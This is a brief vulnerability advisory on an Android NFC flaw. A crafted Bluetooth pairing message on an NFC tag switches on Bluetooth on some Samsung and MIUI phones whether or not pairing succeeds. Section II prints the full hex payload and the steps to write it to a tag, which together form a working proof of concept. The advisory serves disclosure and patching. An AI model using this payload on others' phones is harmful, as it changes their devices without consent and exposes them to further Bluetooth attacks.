Android Bluetooth Pairing Packet Processing Vulnerability（by wangzq from NCNIPC）

[vuln () nipc org cn]

I. Summary
Bluetooth Pairing Packet is written to a NFC tag, which can be touched by a NFC mobile phone for bluetooth pairing. A 
logic flaw has been found in some 

versions of Andorid mobile phone. The flaw can cause NFC phones'bluetooth turned on, regardless of whether the pairing 
succeeds or not.
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II. Description
According to the NFC Bluetooth Simple Pairing Message Specification(NFC Forum), construct a message as follow.
91 02 0A 48 73 12 D1 02 04 61 63 01 01 30 00 5A
20 1C 01 61 70 70 6C 69 63 61 74 69 6F 6E 2F 76
6E 64 2E 62 6C 75 65 74 6F 6F 74 68 2E 65 70 2E
6F 6F 62 30 1C 00 79 E9 72 CA 6B F0 08 09 41 6E
64 72 6F 69 64 04 0D 0C 02 40 05 03 1E 11 0B 11
Then write the message to NFC tag. Touch the NFC tag with a smart phone with Samsung GT-I9300(defaultAndroid 4.1.2) or 
MI3(MIUI 5.30), bluetooth connection 

will be turned on automatically, regardless of whether the pairing succeeds or not.
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III. Impact

This bug cause bluetooth connection turned on automatically

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IV. Affected
Samsung GT-I9300(defaultAndroid 4.1.2) or other versions of default systems.
MIUI  4.1.17/5.30 and other versions we don't test.
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V. Solution
modify the source codes about Bluetooth pairing message parsing.